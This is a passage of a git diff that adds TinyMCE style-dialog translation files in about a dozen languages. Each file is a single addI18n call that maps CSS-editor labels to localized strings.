skrift","text_decoration":"Dekorasjon","text_color":"Farge",text:"Tekst",background:"Bakgrunn",block:"Blokk",box:"Boks",border:"Ramme",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/pl_dlg.js b/js/tiny_mce/plugins/style/langs/pl_dlg.js new file mode 100755 index 0000000..1dd01ce --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.style_dlg',{"text_lineheight":"Wysoko\u015b\u0107 linii","text_variant":"Wariant","text_style":"Styl","text_weight":"Waga","text_size":"Rozmiar","text_font":"Wz\u00f3r czcionki","text_props":"Tekst","positioning_tab":"Pozycjonowanie","list_tab":"Lista","border_tab":"Obramowanie","box_tab":"Pud\u0142o (box)","block_tab":"Blok","background_tab":"T\u0142o","text_tab":"Text",apply:"Zastosuj",title:"Edytuj style CSS",clip:"Klip",placement:"Umieszczenie",overflow:"Przepe\u0142niony",zindex:"Z-index",visibility:"Widoczno\u015b\u0107","positioning_type":"Typ",position:"Pozycja","bullet_image":"Obrazek listy","list_type":"Typ",color:"Kolor",height:"Wysoko\u015b\u0107",width:"Szeroko\u015b\u0107",style:"Styl",margin:"Margines",left:"Lewy",bottom:"D\u00f3\u0142",right:"Prawy",top:"G\u00f3ra",same:"To samo dla wszystkich",padding:"Odst\u0119py","box_clear":"Op\u0142ywanie (Clear)","box_float":"Op\u0142ywanie (Float)","box_height":"Wysoko\u015b\u0107","box_width":"Szeroko\u015b\u0107","block_display":"Spos\u00f3b wy\u015bwietlania","block_whitespace":"Bia\u0142e znaki","block_text_indent":"Przesuni\u0119cie tekstu","block_text_align":"Wyr\u00f3wnanie tekstu","block_vertical_alignment":"Pionowe wyr\u00f3wnanie","block_letterspacing":"Odst\u0119p mi\u0119dzy literami","block_wordspacing":"Odst\u0119p mi\u0119dzy wyrazami","background_vpos":"Pozycja pionowa","background_hpos":"Pozycja pozioma","background_attachment":"Za\u0142\u0105cznik","background_repeat":"Powt\u00f3rz","background_image":"Obrazek t\u0142a","background_color":"Kolor t\u0142a","text_none":"\u017caden","text_blink":"miganie","text_case":"Znaki","text_striketrough":"przekre\u015blenie","text_underline":"podkre\u015blenie","text_overline":"nadkre\u015blenie","text_decoration":"Dekoracja","text_color":"Kolor",text:"Tekst",background:"T\u0142o",block:"Blok",box:"Pud\u0142o (box)",border:"Obramowanie",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/pt_dlg.js b/js/tiny_mce/plugins/style/langs/pt_dlg.js new file mode 100755 index 0000000..21c6b5e --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.style_dlg',{"text_lineheight":"Altura da linha","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tamanho","text_font":"Fonte","text_props":"Texto","positioning_tab":"Posicionamento","list_tab":"Lista","border_tab":"Limites","box_tab":"Caixa","block_tab":"Bloco","background_tab":"Fundo","text_tab":"Texto",apply:"Aplicar",title:"Editar CSS",clip:"Clip",placement:"Posicionamento",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilidade","positioning_type":"Tipo",position:"Posi\u00e7\u00e3o","bullet_image":"Imagem de lista","list_type":"Tipo",color:"Cor",height:"Altura",width:"Largura",style:"Estilo",margin:"Margem",left:"Esquerda",bottom:"Abaixo",right:"Direita",top:"Topo",same:"O mesmo para todos",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Altura","box_width":"Largura","block_display":"Display","block_whitespace":"Espa\u00e7o","block_text_indent":"Indent","block_text_align":"Alinhamento de texto","block_vertical_alignment":"Alinhamento vertical","block_letterspacing":"Espa\u00e7amento de letras","block_wordspacing":"Espa\u00e7amento de palavras","background_vpos":"Posi\u00e7\u00e3o vertical","background_hpos":"Posi\u00e7\u00e3o horizontal","background_attachment":"Fixar","background_repeat":"Repetir","background_image":"Imagem de fundo","background_color":"Cor de fundo","text_none":"nenhum","text_blink":"Piscar","text_case":"Mai\u00fascula","text_striketrough":"Riscado","text_underline":"Sublinhado","text_overline":"Sobrelinha","text_decoration":"Decora\u00e7\u00e3o","text_color":"Cor",text:"Texto",background:"Fundo",block:"Bloco",box:"Caixa",border:"Borda",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ro_dlg.js b/js/tiny_mce/plugins/style/langs/ro_dlg.js new file mode 100755 index 0000000..98a1605 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.style_dlg',{"text_lineheight":"\u00cen\u0103l\u021bime linie","text_variant":"Variant\u0103","text_style":"Stil","text_weight":"Greutate","text_size":"M\u0103rime","text_font":"Font","text_props":"Text","positioning_tab":"Pozi\u021bionare","list_tab":"List\u0103","border_tab":"Bordur\u0103","box_tab":"Box","block_tab":"Block","background_tab":"Fundal","text_tab":"Text",apply:"Aplic\u0103",title:"Editare CSS",clip:"Clip",placement:"Plasament",overflow:"Overflow",zindex:"Z-index",visibility:"Vizibilitate","positioning_type":"Tip",position:"Pozi\u021bionare","bullet_image":"Imagine","list_type":"Tip",color:"Culoare",height:"\u00cen\u0103l\u021bime",width:"L\u0103\u021bime",style:"Stil",margin:"Margini",left:"St\u00e2nga",bottom:"Jos",right:"Dreapta",top:"Sus",same:"La fel pentru toate",padding:"Margini interne","box_clear":"Normal\u0103","box_float":"Plutitoare","box_height":"\u00cen\u0103l\u021bime","box_width":"L\u0103\u0163ime","block_display":"Afi\u0219are","block_whitespace":"Spa\u0163iu alb","block_text_indent":"Indentare text","block_text_align":"Aliniere text","block_vertical_alignment":"Aliniere vertical\u0103","block_letterspacing":"Spa\u021biere litere","block_wordspacing":"Spa\u021biere cuvinte","background_vpos":"Pozi\u021bionare vertical\u0103","background_hpos":"Pozi\u021bionare orizontal\u0103","background_attachment":"Ata\u0219ament","background_repeat":"Repet\u0103","background_image":"Imagine fundal","background_color":"Culoare fundal","text_none":"Nici unul","text_blink":"Clipire","text_case":"Caz","text_striketrough":"T\u0103iere","text_underline":"Sub linie","text_overline":"Peste linie","text_decoration":"Decora\u021bii","text_color":"Culoare",text:"Text",background:"Fundal",block:"Bloc",box:"Cutie",border:"Bordur\u0103",list:"List\u0103"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/ru_dlg.js b/js/tiny_mce/plugins/style/langs/ru_dlg.js new file mode 100755 index 0000000..857077c --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.style_dlg',{"text_lineheight":"\u0412\u044b\u0441\u043e\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0438","text_variant":"\u0412\u0430\u0440\u0438\u0430\u043d\u0442","text_style":"\u0421\u0442\u0438\u043b\u044c","text_weight":"\u0422\u043e\u043b\u0449\u0438\u043d\u0430","text_size":"\u0420\u0430\u0437\u043c\u0435\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435","list_tab":"\u0421\u043f\u0438\u0441\u043e\u043a","border_tab":"\u0413\u0440\u0430\u043d\u0438\u0446\u0430","box_tab":"\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c",title:"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 CSS \u0441\u0442\u0438\u043b\u044f",clip:"\u041e\u0442\u0441\u0435\u0447\u0435\u043d\u0438\u0435",placement:"\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435",overflow:"\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435",zindex:"Z-\u0438\u043d\u0434\u0435\u043a\u0441",visibility:"\u0412\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u044c","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0438\u044f","bullet_image":"\u041c\u0430\u0440\u043a\u0435\u0440","list_type":"\u0422\u0438\u043f",color:"\u0426\u0432\u0435\u0442",height:"\u0412\u044b\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b\u044c",margin:"\u041e\u0442\u0441\u0442\u0443\u043f",left:"\u0421\u043b\u0435\u0432\u0430",bottom:"\u0421\u043d\u0438\u0437\u0443",right:"\u0421\u043f\u0440\u0430\u0432\u0430",top:"\u0412\u0432\u0435\u0440\u0445",same:"\u041e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445",padding:"\u041f\u043e\u043b\u044f","box_clear":"\u042f\u0432\u043d\u044b\u0439","box_float":"\u041f\u043b\u0430\u0432\u0430\u044e\u0449\u0438\u0439","box_height":"\u0412\u044b\u0441\u043e\u0442\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","block_whitespace":"\u041f\u0440\u043e\u0431\u0435\u043b","block_text_indent":"\u041e\u0442\u0441\u0442\u0443\u043f \u0442\u0435\u043a\u0441\u0442\u0430","block_text_align":"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","block_letterspacing":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u043c\u0435\u0436\u0434\u0443 \u0431\u0443\u043a\u0432\u0430\u043c\u0438","block_wordspacing":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u043e\u0432\u0430\u043c\u0438","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_hpos":"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_attachment":"\u041f\u0440\u0438\u0432\u044f\u0437\u043a\u0430","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440","background_image":"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","background_color":"\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430","text_none":"\u0411\u0435\u0437 \u0432\u0441\u0435\u0433\u043e","text_blink":"\u041c\u0435\u0440\u0446\u0430\u044e\u0449\u0438\u0439","text_case":"\u0420\u0435\u0433\u0438\u0441\u0442\u0440","text_striketrough":"\u0417\u0430\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","text_underline":"\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","text_overline":"\u0421 \u0432\u0435\u0440\u0445\u043d\u0435\u0439 \u0447\u0435\u0440\u0442\u043e\u0439","text_decoration":"\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435","text_color":"\u0426\u0432\u0435\u0442",text:"\u0422\u0435\u043a\u0441\u0442",background:"\u0424\u043e\u043d",block:"\u0411\u043b\u043e\u043a",box:"\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/sk_dlg.js b/js/tiny_mce/plugins/style/langs/sk_dlg.js new file mode 100755 index 0000000..d184cd3 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.style_dlg',{"text_lineheight":"V\u00fd\u0161ka riadkov","text_variant":"Varianta","text_style":"\u0160t\u00fdl textu","text_weight":"Tu\u010dnos\u0165 p\u00edsma","text_size":"Ve\u013ekos\u0165","text_font":"P\u00edsmo","text_props":"Text","positioning_tab":"Umiestnenie","list_tab":"Zoznam","border_tab":"Or\u00e1movanie","box_tab":"Box","block_tab":"Blok","background_tab":"Pozadie","text_tab":"Text",apply:"Pou\u017ei\u0165",title:"Upravi\u0165 CSS \u0161t\u00fdl",clip:"Orezanie (clip)",placement:"Umiestnenie",overflow:"Prete\u010denie (overflow)",zindex:"Z-index",visibility:"Vidite\u013enos\u0165","positioning_type":"Typ",position:"Umiestnenie","bullet_image":"\u0160t\u00fdl odr\u00e1\u017eok","list_type":"Typ",color:"Farba",height:"V\u00fd\u0161ka",width:"\u0160\u00edrka",style:"\u0160t\u00fdl",margin:"Okraje (margin)",left:"V\u013eavo",bottom:"Dole",right:"Vpravo",top:"Hore",same:"Rovnak\u00e9 pre v\u0161etky",padding:"Odsadenie (padding)","box_clear":"Vy\u010disti\u0165","box_float":"Pl\u00e1vaj\u00faci","box_height":"V\u00fd\u0161ka","box_width":"\u0160\u00edrka","block_display":"Blokov\u00e9 zobrazenie","block_whitespace":"Zalamovanie textu","block_text_indent":"Odsadenie textu","block_text_align":"Zarovnanie textu","block_vertical_alignment":"Vertik\u00e1lne zarovnanie","block_letterspacing":"Rozstup znakov","block_wordspacing":"Rozstup slov","background_vpos":"Vertik\u00e1lne umiestnenie","background_hpos":"Horizont\u00e1lne umiestnenie","background_attachment":"Rolovanie","background_repeat":"Opakovanie","background_image":"Obr\u00e1zok pozadia","background_color":"Farba pozadia","text_none":"\u017eiadna","text_blink":"blikanie","text_case":"Ve\u013ek\u00e9 p\u00edsmen\u00e1","text_striketrough":"pre\u010diarknutie","text_underline":"pod\u010diarknutie","text_overline":"nad\u010diarknutie","text_decoration":"Dekor\u00e1cia","text_color":"Farba",text:"Text",background:"Pozadie",block:"Blok",box:"Box",border:"Or\u00e1movanie",list:"Zoznam"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/sl_dlg.js b/js/tiny_mce/plugins/style/langs/sl_dlg.js new file mode 100755 index 0000000..e2b8f2e --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.style_dlg',{"text_lineheight":"Vi\u0161ina vrstice","text_variant":"Razli\u010dica","text_style":"Slog","text_weight":"Ute\u017e","text_size":"Velikost","text_font":"Pisava","text_props":"Besedilo","positioning_tab":"Polo\u017eaj","list_tab":"Seznam","border_tab":"Obroba","box_tab":"Okvir","block_tab":"Blok","background_tab":"Ozadje","text_tab":"Besedilo",apply:"Uporabi",title:"Uredi sloge CSS",clip:"Obre\u017ei",placement:"Polo\u017eaj",overflow:"Prelivanje",zindex:"Z-indeks",visibility:"Vidnost","positioning_type":"Vrsta",position:"Polo\u017eaj","bullet_image":"Slika alineje","list_type":"Vrsta",color:"Barva",height:"Vi\u0161ina",width:"\u0160irina",style:"Slog",margin:"Rob",left:"Levo",bottom:"Spodaj",right:"Desno",top:"Zgoraj",same:"Enako za vse",padding:"Podlaganje","box_clear":"\u010cisto","box_float":"Plavojo\u010de","box_height":"Vi\u0161ina","box_width":"\u0160irina","block_display":"Prikaz","block_whitespace":"Beli prostor","block_text_indent":"Zamik besedila","block_text_align":"Poravnava besedila","block_vertical_alignment":"Navpi\u010dna poravnava","block_letterspacing":"Razmik znakov","block_wordspacing":"Razmik besed","background_vpos":"Navpi\u010dni polo\u017eaj","background_hpos":"Vodoravni polo\u017eaj","background_attachment":"Priponka","background_repeat":"Ponavljaj","background_image":"Slika ozadja","background_color":"Barva ozadja","text_none":"brez","text_blink":"utripajo\u010de","text_case":"Velikost","text_striketrough":"pre\u010drtano","text_underline":"pod\u010drtano","text_overline":"nad\u010drtano","text_decoration":"Dekoracija","text_color":"Barva",text:"Besedilo",background:"Ozadje",block:"Blok",box:"Okvir",border:"Obroba",list:"Seznam"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/sv_dlg.js b/js/tiny_mce/plugins/style/langs/sv_dlg.js new file mode 100755 index 0000000..f6fcb30 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.style_dlg',{"text_lineheight":"Radh\u00f6jd","text_variant":"Variant","text_style":"Stil","text_weight":"Tjocklek","text_size":"Storlek","text_font":"Typsnitt","text_props":"Text","positioning_tab":"Positionering","list_tab":"Listor","border_tab":"Ramar","box_tab":"Box","block_tab":"Block","background_tab":"Bakgrund","text_tab":"Text",apply:"Applicera",title:"Redigera inline CSS",clip:"Besk\u00e4rning",placement:"Placering",overflow:"\u00d6\u0096verfl\u00f6de",zindex:"Z-index",visibility:"Synlighet","positioning_type":"Positionstyp",position:"Position","bullet_image":"Punktbild","list_type":"Listtyp",color:"F\u00e4rg",height:"H\u00f6jd",width:"Bredd",style:"Stil",margin:"Marginal",left:"V\u00e4nster",bottom:"Botten",right:"H\u00f6ger",top:"Toppen",same:"Samma f\u00f6r alla",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"H\u00f6jd","box_width":"Bredd","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Textindrag","block_text_align":"Textjustering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Teckenmellanrum","block_wordspacing":"Ordavbrytning","background_vpos":"Vertikal position","background_hpos":"Horisontell position","background_attachment":"F\u00e4stpunkt","background_repeat":"Upprepning","background_image":"Bakgrundsbild","background_color":"Bakgrundsf\u00e4rg","text_none":"Inget","text_blink":"Blinka","text_case":"Sm\u00e5/stora","text_striketrough":"Genomstruken","text_underline":"Understruken","text_overline":"\u00d6verstruken","text_decoration":"Dekoration","text_color":"F\u00e4rg",text:"Text",background:"Bakgrund",block:"Block",box:"Box",border:"Ram",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/th_dlg.js b/js/tiny_mce/plugins/style/langs/th_dlg.js new file mode 100755 index 0000000..264f85a --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.style_dlg',{"text_lineheight":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14","text_variant":"Variant","text_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","text_weight":"\u0e19\u0e49\u0e33\u0e2b\u0e19\u0e31\u0e01","text_size":"\u0e02\u0e19\u0e32\u0e14","text_font":"\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23","text_props":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","positioning_tab":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07","list_tab":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23","border_tab":"\u0e02\u0e2d\u0e1a","box_tab":"\u0e01\u0e25\u0e48\u0e2d\u0e07","block_tab":"Block","background_tab":"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","text_tab":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",apply:"\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19",title:"\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a CSS",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet image","list_type":"Type",color:"\u0e2a\u0e35",height:"\u0e2a\u0e39\u0e07",width:"\u0e01\u0e27\u0e49\u0e32\u0e07",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",margin:"Margin",left:"\u0e0b\u0e49\u0e32\u0e22",bottom:"\u0e25\u0e48\u0e32\u0e07",right:"\u0e02\u0e27\u0e32",top:"\u0e1a\u0e19",same:"Same for all",padding:"Padding","box_clear":"\u0e25\u0e49\u0e32\u0e07","box_float":"\u0e25\u0e2d\u0e22","box_height":"\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e39\u0e07","box_width":"\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07","block_display":"\u0e41\u0e2a\u0e14\u0e07\u0e1c\u0e25","block_whitespace":"Whitespace","block_text_indent":"\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","block_text_align":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","block_vertical_alignment":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","block_letterspacing":"\u0e40\u0e27\u0e49\u0e19\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e0a\u0e48\u0e2d\u0e07\u0e44\u0e1f","block_wordspacing":"\u0e40\u0e27\u0e49\u0e19\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e04\u0e33","background_vpos":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","background_hpos":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19","background_attachment":"\u0e2a\u0e34\u0e48\u0e07\u0e17\u0e35\u0e48\u0e41\u0e19\u0e1a","background_repeat":"\u0e0b\u0e49\u0e33","background_image":"\u0e23\u0e39\u0e1b\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","background_color":"\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","text_none":"\u0e44\u0e21\u0e48\u0e21\u0e35","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49","text_overline":"overline","text_decoration":"Decoration","text_color":"\u0e2a\u0e35",text:"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",background:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",box:"\u0e01\u0e25\u0e48\u0e2d\u0e07",border:"\u0e02\u0e2d\u0e1a",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23",block:"Block"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/tr_dlg.js b/js/tiny_mce/plugins/style/langs/tr_dlg.js new file mode 100755 index 0000000..bc12209 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.style_dlg',{"text_lineheight":"\u00c7izgi y\u00fcksekli\u011fi","text_variant":"De\u011fi\u015fken","text_style":"Stil","text_weight":"Kal\u0131nl\u0131k","text_size":"Boyut","text_font":"Yaz\u0131 tipi","text_props":"Metin","positioning_tab":"Konumland\u0131rma","list_tab":"Listele","border_tab":"Kenarl\u0131k","box_tab":"Kutu","block_tab":"Blok","background_tab":"Arkaplan","text_tab":"Metin",apply:"Uygula",title:"CSS Stilini D\u00fczenle",clip:"K\u0131rp",placement:"Yerle\u015ftir",overflow:"Ta\u015fma",zindex:"Z-indeksi",visibility:"G\u00f6r\u00fcn\u00fcrl\u00fck","positioning_type":"Tip",position:"Konum","bullet_image":"Madde imi resmi","list_type":"Tip",color:"Renk",height:"Y\u00fckseklik",width:"Geni\u015flik",style:"Stil",margin:"Kenar bo\u015flu\u011fu",left:"Sol",bottom:"Alt",right:"Sa\u011f",top:"\u00dcst",same:"T\u00fcm\u00fc i\u00e7in",padding:"Dolgu","box_clear":"Serbest","box_float":"Kayan","box_height":"Y\u00fckseklik","box_width":"Geni\u015flik","block_display":"G\u00f6r\u00fcnt\u00fcle","block_whitespace":"Bo\u015fluk","block_text_indent":"Metnin girintisini art\u0131r","block_text_align":"Metin hizala","block_vertical_alignment":"Dikey hizalama","block_letterspacing":"harf bo\u015flu\u011fu","block_wordspacing":"Kelime bo\u015flu\u011fu","background_vpos":"Dikey konum","background_hpos":"Yatay konum","background_attachment":"Eklenti","background_repeat":"Tekrarla","background_image":"Arkaplan resmi","background_color":"Arkaplan rengi","text_none":"hi\u00e7biri","text_blink":"yan\u0131p s\u00f6nen","text_case":"Ko\u015ful","text_striketrough":"\u00fcst\u00fc \u00e7izgili","text_underline":"alt \u00e7izgi","text_overline":"\u00fcst \u00e7izgi","text_decoration":"Dekorasyon","text_color":"Renk",text:"Yaz\u0131",background:"Arkaplan",block:"Blok",box:"Kutu",border:"S\u0131n\u0131r",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/tw_dlg.js b/js/tiny_mce/plugins/style/langs/tw_dlg.js new file mode 100755 index 0000000..0581023 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.style_dlg',{"text_lineheight":"\u884c\u9ad8","text_variant":"\u8b8a\u9ad4","text_style":"\u6a23\u5f0f","text_weight":"\u5b57\u5bec","text_size":"\u5b57\u578b\u5927\u5c0f","text_font":"\u5b57\u9ad4","text_props":"\u6587\u5b57","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u908a\u6846","box_tab":"\u65b9\u584a","block_tab":"\u5340\u584a","background_tab":"\u80cc\u666f","text_tab":"\u6587\u5b57",apply:"\u5957\u7528",title:"\u7de8\u8f2f CSS \u6a23\u5f0f\u8868",clip:"\u526a\u8f2f",placement:"\u4f48\u7f6e",overflow:"\u6ea2\u51fa",zindex:"Z-\u5750\u6a19",visibility:"\u53ef\u898b","positioning_type":"\u985e\u578b",position:"\u4f4d\u7f6e","bullet_image":"\u5716\u7247\u9805\u76ee\u7b26\u865f","list_type":"\u985e\u578b\u5217\u8868",color:"\u984f\u8272",height:"\u9ad8",width:"\u5bec",style:"\u6a23\u5f0f",margin:"\u5916\u908a\u8ddd",left:"\u5de6\u5074",bottom:"\u9760\u4e0b",right:"\u53f3\u5074",top:"\u9802\u90e8",same:"\u5168\u90e8\u76f8\u540c",padding:"\u5167\u908a\u8ddd","box_clear":"\u6e05\u9664\u6d6e\u52d5","box_float":"\u6d6e\u52d5","box_height":"\u9ad8","box_width":"\u5bec","block_display":"\u986f\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7e2e\u6392","block_text_align":"\u6587\u5b57\u5c0d\u9f4a","block_vertical_alignment":"\u5782\u76f4\u5c0d\u9f4a","block_letterspacing":"\u5b57\u6bcd\u9593\u8ddd","block_wordspacing":"\u8a5e\u9593\u8ddd","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u8907","background_image":"\u80cc\u666f\u5716\u7247","background_color":"\u80cc\u666f\u984f\u8272","text_none":"\u7121","text_blink":"\u9583\u720d","text_case":"\u5b57\u578b","text_striketrough":"\u522a\u9664\u7dda","text_underline":"\u5e95\u7dda","text_overline":"\u4e0a\u5283\u7dda","text_decoration":"\u88dd\u98fe","text_color":"\u984f\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/uk_dlg.js b/js/tiny_mce/plugins/style/langs/uk_dlg.js new file mode 100755 index 0000000..152118f --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.style_dlg',{"text_lineheight":"\u0412\u0438\u0441\u043e\u0442\u0430 \u0440\u044f\u0434\u043a\u0443","text_variant":"\u0412\u0430\u0440\u0456\u0430\u043d\u0442","text_style":"\u0421\u0442\u0438\u043b\u044c","text_weight":"\u0422\u043e\u0432\u0449\u0438\u043d\u0430","text_size":"\u0420\u043e\u0437\u043c\u0456\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u0437\u0438\u0446\u0456\u043e\u043d\u0443\u0432\u0430\u043d\u043d\u044f","list_tab":"\u0421\u043f\u0438\u0441\u043e\u043a","border_tab":"\u0420\u0430\u043c\u043a\u0430","box_tab":"\u042f\u0449\u0438\u043a(box)","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438",title:"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u043d\u043d\u044f CSS 